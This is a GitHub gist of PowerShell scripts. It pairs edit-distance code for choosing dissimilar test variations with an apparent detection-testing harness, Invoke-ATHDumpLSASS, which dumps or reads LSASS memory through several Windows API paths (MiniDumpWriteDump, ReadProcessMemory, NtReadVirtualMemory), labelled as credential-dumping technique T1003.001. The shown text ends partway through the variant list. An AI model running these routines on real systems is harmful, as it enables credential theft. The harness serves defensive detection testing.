Skip to content

Instantly share code, notes, and snippets.

@jaredcatkinson
Last active February 24, 2024 15:15
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save jaredcatkinson/014fd61dab5b01abfc791923b4a6efec to your computer and use it in GitHub Desktop.
Save jaredcatkinson/014fd61dab5b01abfc791923b4a6efec to your computer and use it in GitHub Desktop.
This Gist is meant to be associated with a twitter thread describing a new approach to selecting the optimal set of variations given a finite set of tests. Make sure each of the associated scripts are loaded into you PowerShell session.
function ContextualEditDistance
{
<#
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.600.3601&rep=rep1&type=pdf
https://github.com/chrislit/abydos/blob/344346a5fceb6acc631b3d24e16b73a303cece2c/abydos/distance/_higuera_mico.py
#>
[CmdletBinding()]
param(
[string]
$x,
[string]
$y
)
if($x -eq $y)
{
$props = [ordered]@{
FirstString = $x
SecondString = $y
EditDistance = 0
MetricEditDistance = ([double]0.0)
}
Write-Output (New-Object -TypeName psobject -Property $props)
}
else
{
# Initializing the Array
$n = New-Object 'Double[,,]' ($x.Length + 1), ($y.Length + 1), ($x.Length + $y.Length + 1)
for($i = 0; $i -le $x.Length; $i++)
{
for($j = 0; $j -le $y.Length; $j++)
{
for($k = 0; $k -le ($x.Length + $y.Length); $k++)
{
$n[$i,$j,$k] = [double]::NegativeInfinity
}
}
}
# for i : 1 ≤ i ≤ |x| do ni[i][0][i] ← 0
for($i = 1; $i -le $x.Length; $i++)
{
$n[$i,0,$i] = 0
}
# for j : 0 ≤ j ≤ |y| do ni[0][j][j] ← j
for($j = 0; $j -le $y.Length; $j++)
{
$n[0,$j,$j] = $j
}
for($i = 1; $i -le $x.Length; $i++)
{
for($j = 1; $j -le $y.Length; $j++)
{
if($x[$i-1] -eq $y[$j-1])
{
for($k = 0; $k -le ($x.Length + $y.Length); $k++)
{
$n[$i,$j,$k] = $n[($i-1),($j-1),$k]
}
}
else
{
for($k = 1; $k -le ($x.Length + $y.Length); $k++)
{
$n[$i,$j,$k] = $n[($i-1),($j-1),($k-1)]
}
}
for($k = 1; $k -le ($x.Length + $y.Length); $k++)
{
$n[$i,$j,$k] = [Math]::Max([Math]::Max(($n[($i-1),$j,($k-1)]),($n[$i,($j-1),($k-1)]+1)),($n[$i,$j,$k]))
Write-Verbose "[$($i),$($j),$($k)]: $($n[$i,$j,$k])"
}
}
}
$b = [double]::PositiveInfinity
for($k = 0; $k -le ($x.Length + $y.Length); $k++)
{
if($n[$x.Length,$y.Length,$k] -ge 0)
{
$n_i = $n[$x.Length,$y.Length,$k]
$n_d = $x.Length - $y.Length + $n_i
$n_s = $k - ($n_i + $n_d)
$d = 0
for($i = ($x.Length + 1); $i -le ($x.Length + $n_i); $i++)
{
$d += 1 / $i
}
$d += $n_s / ($x.Length + $n_i)
for($i = ($y.Length + 1); $i -le ($y.Length + $n_d); $i++)
{
$d += 1 / $i
}
if($d -lt $b)
{
$b = $d
}
}
}
$props = [ordered]@{
FirstString = $x
SecondString = $y
EditDistance = 0
MetricEditDistance = ([Math]::Min([double]1.0, $b))
}
Write-Output (New-Object -TypeName psobject -Property $props)
}
}
function Get-LeastSimilarPath
{
param(
[Parameter(Mandatory = $true, Position = 0)]
[string[]]$Paths,
[Parameter(Mandatory = $true, Position = 1)]
[string]$StartingPath,
[Parameter(Mandatory = $false, Position = 2)]
[UInt32]$Depth = $Paths.Length,
[Parameter()]
[ValidateSet('Higuera-Mico', 'Yujian-Bo', 'Vidal-Marzal', 'CED', 'GED', 'NED')]
[string]$Algorithm = 'CED'
)
# Make sure we don't overflow the number of paths
if($Depth -ge $Paths.Length)
{
$Depth = $Paths.Length
}
# Output the Starting Path as the first path
$props = [ordered]@{Position = 1; Path = $StartingPath; MetricDistance = 0}
$InitialPath = New-Object -TypeName psobject -Property $props
Write-Output $InitialPath
# Get initial similarity to the Starting Path
$Similarity = Get-PathSimilarity -Paths $Paths -StartingPath $StartingPath -Algorithm $Algorithm
$PathList = New-Object Collections.Generic.List[Object]
$PathList.AddRange($Similarity)
# Create results array and add the Starting Path
$results = New-Object string[] $Paths.Length
$results[0] = $StartingPath
for($i = 1; $i -lt $Depth; $i++)
{
# Build the Percentages
$hashtable = @{}
foreach($path in $PathList)
{
if(-not $hashtable.ContainsKey($path.SecondPath))
{
$hashtable.Add($path.SecondPath, $path.MetricEditDistance)
}
else
{
$hashtable[$path.SecondPath] += $path.MetricEditDistance
}
}
# Remove prior paths from future selection
foreach($result in $results)
{
if($result -ne $null)
{
$hashtable.Remove($result)
}
}
# Find the Least Similar Path
$LeastSimilar = $null
$LowestPercentage = $null
foreach($key in $hashtable.Keys)
{
if($LeastSimilar -eq $null)
{
$LowestPercentage = $hashtable[$key]
$props = [ordered]@{Position = ($i+1); Path = $key; MetricDistance = ($LowestPercentage/($i))}
$LeastSimilar = New-Object -TypeName psobject -Property $props
}
elseif($hashtable[$key] -gt $LowestPercentage)
{
$LowestPercentage = $hashtable[$key]
$props = [ordered]@{Position = ($i+1); Path = $key; MetricDistance = ($LowestPercentage/($i))}
$LeastSimilar = New-Object -TypeName psobject -Property $props
}
# In some cases, two paths will have the same dissimilarity. In these cases, we chose the shortest path to maximize the distance from the starting point.
elseif($hashtable[$key] -eq $LowestPercentage)
{
if($key.Length -lt $LeastSimilar.Path.Length)
{
$LowestPercentage = $hashtable[$key]
$props = [ordered]@{Position = ($i+1); Path = $key; MetricDistance = ($LowestPercentage/($i))}
$LeastSimilar = New-Object -TypeName psobject -Property $props
}
}
}
# Output the next least similar path
Write-Output $LeastSimilar
# Add the selected path to the suppression array
$results[$i] = $LeastSimilar.Path
# Add the next set of comparisons to the Path List
$Similarity = Get-PathSimilarity -Paths $Paths -StartingPath $LeastSimilar.Path
$PathList.AddRange($Similarity)
}
}
function Get-PathSimilarity
{
param(
[Parameter(Mandatory)]
[string[]]$Paths,
[Parameter()]
[ValidateNotNullOrEmpty()]
[string]$StartingPath,
[Parameter()]
[ValidateSet('Higuera-Mico', 'Yujian-Bo', 'Vidal-Marzal', 'CED', 'GED', 'NED')]
[string]$Algorithm = 'Higuera-Mico'
)
if($PSBoundParameters.ContainsKey('StartingPath'))
{
foreach($path in $paths)
{
if(($Algorithm -eq 'Higuera-Mico') -or ($Algorithm -eq 'CED'))
{
$ed = ContextualEditDistance -x $StartingPath -y $path
}
elseif(($Algorithm -eq 'Yujian-Bo') -or ($Algorithm -eq 'NED'))
{
$ed = YujianBoDistance -x $StartingPath -y $path
}
elseif(($Algorithm -eq 'Vidal-Marzal') -or ($Algorithm -eq 'GED'))
{
$ed = NormalizedEditDistance -x $StartingPath -y $path
}
$props = [ordered]@{
FirstPath = $ed.FirstString
SecondPath = $ed.SecondString
EditDistance = $ed.EditDistance
MetricEditDistance = $ed.MetricEditDistance
}
New-Object -TypeName psobject -Property $props
}
}
else
{
foreach($path in $paths)
{
foreach($p in $paths)
{
if(($Algorithm -eq 'Higuera-Mico') -or ($Algorithm -eq 'CED'))
{
$ed = ContextualEditDistance -x $path -y $p
}
elseif(($Algorithm -eq 'YujianBo') -or ($Algorithm -eq 'NED'))
{
$ed = YujianBoDistance -x $path -y $p
}
elseif(($Algorithm -eq 'VidalMarzal') -or ($Algorithm -eq 'GED'))
{
$ed = NormalizedEditDistance -x $path -y $p
}
$props = @{
FirstPath = $ed.FirstString
SecondPath = $ed.SecondString
EditDistance = $ed.EditDistance
MetricEditDistance = $ed.MetricEditDistance
}
New-Object -TypeName psobject -Property $props
}
}
}
}
if (-not ('AtomicTestHarnesses.ProcessNativeMethods' -as [Type])) {
$TypeDef = @'
using System;
using System.Runtime.InteropServices;
namespace AtomicTestHarnesses {
[Flags]
public enum MiniDumpType {
MiniDumpNormal = 0x00000000,
MiniDumpWithDataSegs = 0x00000001,
MiniDumpWithFullMemory = 0x00000002,
MiniDumpWithHandleData = 0x00000004,
MiniDumpFilterMemory = 0x00000008,
MiniDumpScanMemory = 0x00000010,
MiniDumpWithUnloadedModules = 0x00000020,
MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
MiniDumpFilterModulePaths = 0x00000080,
MiniDumpWithProcessThreadData = 0x00000100,
MiniDumpWithPrivateReadWriteMemory = 0x00000200,
MiniDumpWithoutOptionalData = 0x00000400,
MiniDumpWithFullMemoryInfo = 0x00000800,
MiniDumpWithThreadInfo = 0x00001000,
MiniDumpWithCodeSegs = 0x00002000,
MiniDumpWithoutAuxiliaryState = 0x00004000,
MiniDumpWithFullAuxiliaryState = 0x00008000,
MiniDumpWithPrivateWriteCopyMemory = 0x00010000,
MiniDumpIgnoreInaccessibleMemory = 0x00020000,
MiniDumpWithTokenInformation = 0x00040000,
MiniDumpWithModuleHeaders = 0x00080000,
MiniDumpFilterTriage = 0x00100000,
MiniDumpWithAvxXStateContext = 0x00200000,
MiniDumpWithIptTrace = 0x00400000,
MiniDumpScanInaccessiblePartialPages = 0x00800000,
MiniDumpFilterWriteCombinedMemory,
MiniDumpValidTypeFlags = 0x01ffffff
}
[Flags]
public enum SnapshotFlags {
Process = 0x00000002
}
[Flags]
public enum ProcessAccess {
AllAccess = 0x001FFFFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct PROCESSENTRY32
{
public const int MAX_PATH = 260;
public UInt32 dwSize;
public UInt32 cntUsage;
public UInt32 th32ProcessID;
public IntPtr th32DefaultHeapID;
public UInt32 th32ModuleID;
public UInt32 cntThreads;
public UInt32 th32ParentProcessID;
public Int32 pcPriClassBase;
public UInt32 dwFlags;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_PATH)]
public string szExeFile;
}
public class ProcessNativeMethods {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
ProcessAccess processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
ProcessAccess DesiredAccess,
[MarshalAs(UnmanagedType.Bool)] bool bInheritHandle,
UInt32 dwOptions);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
IntPtr lpBuffer,
UInt32 dwSize,
ref UInt32 lpNumberOfBytesRead);
[DllImport("kernelbase.dll", EntryPoint = "ReadProcessMemory", SetLastError = true)]
public static extern bool KernelbaseReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
IntPtr lpBuffer,
UInt32 dwSize,
ref UInt32 lpNumberOfBytesRead);
[DllImport("api-ms-win-core-memory-l1-1-0", EntryPoint = "ReadProcessMemory", SetLastError = true)]
public static extern bool ApisetReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
IntPtr lpBuffer,
UInt32 dwSize,
ref UInt32 lpNumberOfBytesRead);
[DllImport("ntdll.dll", SetLastError=true)]
public static extern bool NtReadVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
UInt32 NumberOfBytesToRead,
ref UInt32 NumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateToolhelp32Snapshot(
SnapshotFlags dwFlags,
uint th32ProcessID);
[DllImport("Dbghelp.dll", SetLastError = true)]
public static extern bool MiniDumpWriteDump(
IntPtr hProcess,
uint ProcessId,
IntPtr hFile,
MiniDumpType DumpType,
IntPtr ExceptionParam,
IntPtr UserStreamParam,
IntPtr CallbackParam);
[DllImport("Dbgcore.dll", EntryPoint = "MiniDumpWriteDump", SetLastError = true)]
public static extern bool DbgcoreMiniDumpWriteDump(
IntPtr hProcess,
uint ProcessId,
IntPtr hFile,
MiniDumpType DumpType,
IntPtr ExceptionParam,
IntPtr UserStreamParam,
IntPtr CallbackParam);
[DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
public static extern bool Process32First(
IntPtr hSnapshot,
ref PROCESSENTRY32 lppe);
[DllImport("kernel32", SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]
public static extern bool Process32Next(
IntPtr hSnapshot,
ref PROCESSENTRY32 lppe);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(
IntPtr hHandle);
}
}
'@
Add-Type -TypeDefinition $TypeDef
}
function Invoke-ATHDumpLSASS {
param (
[Parameter()]
[Int32]
[Alias('Id')]
$ProcessId = (Get-Process -Name lsass)[0].Id,
[Parameter(ParameterSetName = 'VariantString')]
[ValidateSet('Dbghelp!MiniDumpWriteDump', 'Dbgcore!MiniDumpWriteDump', 'Kernel32!ReadProcessMemory', 'api-ms-win-core-memory-l1-1-0!ReadProcessMemory', 'Kernelbase!ReadProcessMemory', 'Kernel32!CreateToolhelp32Snapshot', 'DuplicateHandle', 'Ntdll!NtReadVirtualMemory')]
[String]
$Variant = 'Dbghelp!MiniDumpWriteDump',
[Parameter(ParameterSetName = 'FunctionPath', ValueFromPipelineByPropertyName = $true)]
[string[]]
[Alias('Path')]
$FunctionPath,
[Parameter()]
[ValidateSet('AllAccess', 'QueryLimitedInformation', 'QueryInformation', 'VirtualMemoryRead', 'QueryLimitedInformation, VirtualMemoryRead', 'QueryInformation, VirtualMemoryRead')]
[string]
$AccessRights = 'QueryInformation, VirtualMemoryRead',
[Parameter()]
[string]
$DuplicateHandleAccessRights = 'DuplicateHandle',
[Parameter()]
[string]
$DumpPath = 'C:\TestHarness.dmp',
[Parameter()]
[Guid]
$TestGuid = (New-Guid)
)
BEGIN {
$IsAdministrator = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
if ($IsAdministrator -eq $False){
Write-Error "Insufficent privileges to perform operation. Please run as Administrator."
return
}
$TestCommand = $MyInvocation
$SourceProcessPath = $null
$SourceUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$SHA256 = [Security.Cryptography.SHA256]::Create()
$SourceProcessPath = (Get-CimInstance -ClassName Win32_Process -Property ExecutablePath -Filter "ProcessId=$PID").Path
$ResolvedSourceFilePath = Resolve-Path -Path $SourceProcessPath -ErrorAction Stop
$SourceExeBytes = [IO.File]::ReadAllBytes($ResolvedSourceFilePath.Path)
$SourceExeHash = ($SHA256.ComputeHash($SourceExeBytes) | ForEach-Object { $_.ToString('X2') }) -join ''
$TargetExecutablePath = $null
$TargetExecutablePath = (Get-CimInstance -ClassName Win32_Process -Property ExecutablePath -Filter "ProcessId=$ProcessId").Path
$ResolvedTargetFilePath = Resolve-Path -Path $TargetExecutablePath -ErrorAction Stop
$TargetExeBytes = [IO.File]::ReadAllBytes($ResolvedTargetFilePath.Path)
$TargetExeHash = ($SHA256.ComputeHash($TargetExeBytes) | ForEach-Object { $_.ToString('X2') }) -join ''
}
PROCESS {
if($PSBoundParameters.ContainsKey('FunctionPath')) {
switch($FunctionPath) {
'ADFGH' {
$Variant = 'Dbghelp!MiniDumpWriteDump'
}
'BEFGH' {
$Variant = 'Kernel32!CreateToolhelp32Snapshot'
}
'CEFGH' {
$Variant = 'Kernel32!ReadProcessMemory'
}
'DFGH' {
$Variant = 'Dbgcore!MiniDumpWriteDump'
}
'EFGH' {
$Variant = 'api-ms-win-core-memory-l1-1-0!ReadProcessMemory'
}
'FGH' {
$Variant = 'Kernelbase!ReadProcessMemory'
}
'GH' {
$Variant = 'Ntdll!NtReadVirtualMemory'
}
'H' {
$Variant = 'Ntdll!NtReadVirtualMemory'
}
}
}
switch($Variant) {
'Dbghelp!MiniDumpWriteDump' {
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess(
$AccessRights,
$False,
$ProcessId
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($ProcessHandle -eq [IntPtr]::Zero){
Write-Error $LastError
return
}
$hFile = [IntPtr]::Zero
$hFile = [AtomicTestHarnesses.ProcessNativeMethods]::CreateFile($DumpPath, [System.IO.FileAccess]::Write, [System.IO.FileShare]::Write, [IntPtr]::Zero, [System.IO.FileMode]::Create, 0, [IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($hFile -eq [IntPtr]::Zero){
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
Write-Error $LastError
return
}
$MiniDump = [AtomicTestHarnesses.ProcessNativeMethods]::MiniDumpWriteDump(
$ProcessHandle,
$ProcessId,
$hFile,
'MiniDumpWithFullMemory',
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($MiniDump -eq 0){
Write-Error $LastError
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile)
$FullPath = Resolve-Path -Path $DumpPath
$null = Remove-Item $FullPath -Force
return
}
else{
$TestSuccess = $true
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile)
$FullPath = Resolve-Path -Path $DumpPath
$null = Remove-Item $FullPath -Force
}
[PSCustomObject] @{
TechniqueID = 'T1003.001'
StartingFunction = $Variant
FunctionPath = $FunctionPath
TestSuccess = $TestSuccess
TestGuid = $TestGuid
TestCommand = $TestCommand.Line
SourceUser = $SourceUser
SourceExecutableFilePath = $SourceProcessPath
SourceExecutableFileHash = $SourceExeHash
SourceProcessId = $PID
GrantedRights = $AccessRights
TargetExecutableFilePath = $TargetExecutablePath
TargetExecutableFileHash = $TargetExeHash
TargetProcessId = $ProcessId
DumpFile = $DumpPath
}
break
}
'Kernel32!CreateToolhelp32Snapshot' {
$SnapshotHandle = [IntPtr]::Zero
$SnapshotHandle = [AtomicTestHarnesses.ProcessNativeMethods]::CreateToolhelp32Snapshot(
'Process',
0
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($SnapshotHandle -eq [IntPtr]::Zero){
Write-Error $LastError
return
}
$procEntry = New-Object -TypeName AtomicTestHarnesses.PROCESSENTRY32
$procEntry.dwSize = [System.Runtime.InteropServices.Marshal]::SizeOf($procEntry)
if([AtomicTestHarnesses.ProcessNativeMethods]::Process32First($SnapshotHandle, [ref]$procEntry)){
while("lsass.exe" -ne $procEntry.szExeFile){
$Next = [AtomicTestHarnesses.ProcessNativeMethods]::Process32Next($SnapshotHandle, [ref]$procEntry)
$processName = $procEntry.szExeFile
$LsassId = $procEntry.th32ProcessID
}
}
else{
Write-Error $LastError
return
}
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess(
$AccessRights,
$False,
$LsassId
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($ProcessHandle -eq [IntPtr]::Zero){
Write-Error $LastError
return
}
$hFile = [IntPtr]::Zero
$hFile = [AtomicTestHarnesses.ProcessNativeMethods]::CreateFile($DumpPath, [System.IO.FileAccess]::Write, [System.IO.FileShare]::Write, [IntPtr]::Zero, [System.IO.FileMode]::Create, 0, [IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($hFile -eq [IntPtr]::Zero){
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
Write-Error $LastError
return
}
$MiniDump = [AtomicTestHarnesses.ProcessNativeMethods]::MiniDumpWriteDump(
$ProcessHandle,
$ProcessId,
$hFile,
'MiniDumpWithFullMemory',
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($MiniDump -eq 0){
Write-Error $LastError
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($SnapshotHandle)
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile)
$FullPath = Resolve-Path -Path $DumpPath
$null = Remove-Item $FullPath -Force
return
}
else{
$TestSuccess = $true
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($SnapshotHandle)
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile)
$FullPath = Resolve-Path -Path $DumpPath
$null = Remove-Item $FullPath -Force
}
[PSCustomObject] @{
TechniqueID = 'T1003.001'
StartingFunction = $Variant
FunctionPath = $FunctionPath
TestSuccess = $TestSuccess
TestGuid = $TestGuid
TestCommand = $TestCommand.Line
SourceUser = $SourceUser
SourceExecutableFilePath = $SourceProcessPath
SourceExecutableFileHash = $SourceExeHash
SourceProcessId = $PID
GrantedRights = $AccessRights
TargetExecutableFilePath = $TargetExecutablePath
TargetExecutableFileHash = $TargetExeHash
TargetProcessId = $ProcessId
DumpFile = $DumpPath
}
break
}
'Kernel32!ReadProcessMemory' {
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess(
$AccessRights,
$False,
$ProcessId
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($ProcessHandle -eq [IntPtr]::Zero){
Write-Error $LastError
return
}
$BytesRead = 0
[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1024) #Get Proper Size of process memory to avoid errors regarding the size of buffer. Ie Buffer is too small to handle LSASS mem.
$lpBaseAddress = (Get-Process -Name lsass -Module)[0].BaseAddress
$Success = [AtomicTestHarnesses.ProcessNativeMethods]::ReadProcessMemory(
$ProcessHandle,
$lpBaseAddress,
$lpBuffer,
1024,
[ref]$BytesRead
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($Success -eq 0){
Write-Error $LastError
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle);
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer)
return
}
else{
$TestSuccess = $true
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer)
}
[PSCustomObject] @{
TechniqueID = 'T1003.001'
StartingFunction = $Variant
FunctionPath = $FunctionPath
TestSuccess = $TestSuccess
TestGuid = $TestGuid
TestCommand = $TestCommand.Line
SourceUser = $SourceUser
SourceExecutableFilePath = $SourceProcessPath
SourceExecutableFileHash = $SourceExeHash
SourceProcessId = $PID
GrantedRights = $AccessRights
TargetExecutableFilePath = $TargetExecutablePath
TargetExecutableFileHash = $TargetExeHash
TargetProcessId = $ProcessId
DumpFile = $DumpPath
}
break
}
'Dbgcore!MiniDumpWriteDump' {
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess(
$AccessRights,
$False,
$ProcessId
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($ProcessHandle -eq [IntPtr]::Zero){
Write-Error $LastError
return
}
$hFile = [IntPtr]::Zero
$hFile = [AtomicTestHarnesses.ProcessNativeMethods]::CreateFile($DumpPath, [System.IO.FileAccess]::Write, [System.IO.FileShare]::Write, [IntPtr]::Zero, [System.IO.FileMode]::Create, 0, [IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($hFile -eq [IntPtr]::Zero){
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
Write-Error $LastError
return
}
$MiniDump = [AtomicTestHarnesses.ProcessNativeMethods]::DbgcoreMiniDumpWriteDump(
$ProcessHandle,
$ProcessId,
$hFile,
'MiniDumpWithFullMemory',
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($MiniDump -eq 0){
Write-Error $LastError
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile)
$FullPath = Resolve-Path -Path $DumpPath
$null = Remove-Item $FullPath -Force
return
}
else{
$TestSuccess = $true
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($hFile)
$FullPath = Resolve-Path -Path $DumpPath
$null = Remove-Item $FullPath -Force
}
[PSCustomObject] @{
TechniqueID = 'T1003.001'
StartingFunction = $Variant
FunctionPath = $FunctionPath
TestSuccess = $TestSuccess
TestGuid = $TestGuid
TestCommand = $TestCommand.Line
SourceUser = $SourceUser
SourceExecutableFilePath = $SourceProcessPath
SourceExecutableFileHash = $SourceExeHash
SourceProcessId = $PID
GrantedRights = $AccessRights
TargetExecutableFilePath = $TargetExecutablePath
TargetExecutableFileHash = $TargetExeHash
TargetProcessId = $ProcessId
DumpFile = $DumpPath
}
break
}
'api-ms-win-core-memory-l1-1-0!ReadProcessMemory' {
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess(
$AccessRights,
$False,
$ProcessId
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($ProcessHandle -eq [IntPtr]::Zero){
Write-Error $LastError
return
}
$BytesRead = 0
[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1024)
$lpBaseAddress = (Get-Process -Name lsass -Module)[0].BaseAddress
$Success = [AtomicTestHarnesses.ProcessNativeMethods]::ApisetReadProcessMemory(
$ProcessHandle,
$lpBaseAddress,
$lpBuffer,
1024,
[ref]$BytesRead
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($Success -eq 0){
Write-Error $LastError
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle);
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer)
return
}
else{
$TestSuccess = $true
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer)
}
[PSCustomObject] @{
TechniqueID = 'T1003.001'
StartingFunction = $Variant
FunctionPath = $FunctionPath
TestSuccess = $TestSuccess
TestGuid = $TestGuid
TestCommand = $TestCommand.Line
SourceUser = $SourceUser
SourceExecutableFilePath = $SourceProcessPath
SourceExecutableFileHash = $SourceExeHash
SourceProcessId = $PID
GrantedRights = $AccessRights
TargetExecutableFilePath = $TargetExecutablePath
TargetExecutableFileHash = $TargetExeHash
TargetProcessId = $ProcessId
DumpFile = $null
}
break
}
'Kernelbase!ReadProcessMemory' {
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess(
$AccessRights,
$False,
$ProcessId
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($ProcessHandle -eq [IntPtr]::Zero){
Write-Error $LastError
return
}
$BytesRead = 0
[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1024) #Get Proper Size of process memory to avoid errors regarding the size of buffer. Ie Buffer is too small to handle LSASS mem.
$lpBaseAddress = (Get-Process -Name lsass -Module)[0].BaseAddress
$Success = [AtomicTestHarnesses.ProcessNativeMethods]::KernelbaseReadProcessMemory(
$ProcessHandle,
$lpBaseAddress,
$lpBuffer,
1024,
[ref]$BytesRead
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if($Success -eq 0){
Write-Error $LastError
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle);
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer)
return
}
else{
$TestSuccess = $true
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle)
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer)
}
[PSCustomObject] @{
TechniqueID = 'T1003.001'
StartingFunction = $Variant
FunctionPath = $FunctionPath
TestSuccess = $TestSuccess
TestGuid = $TestGuid
TestCommand = $TestCommand.Line
SourceUser = $SourceUser
SourceExecutableFilePath = $SourceProcessPath
SourceExecutableFileHash = $SourceExeHash
SourceProcessId = $PID
GrantedRights = $AccessRights
TargetExecutableFilePath = $TargetExecutablePath
TargetExecutableFileHash = $TargetExeHash
TargetProcessId = $ProcessId
DumpFile = $null
}
break
}
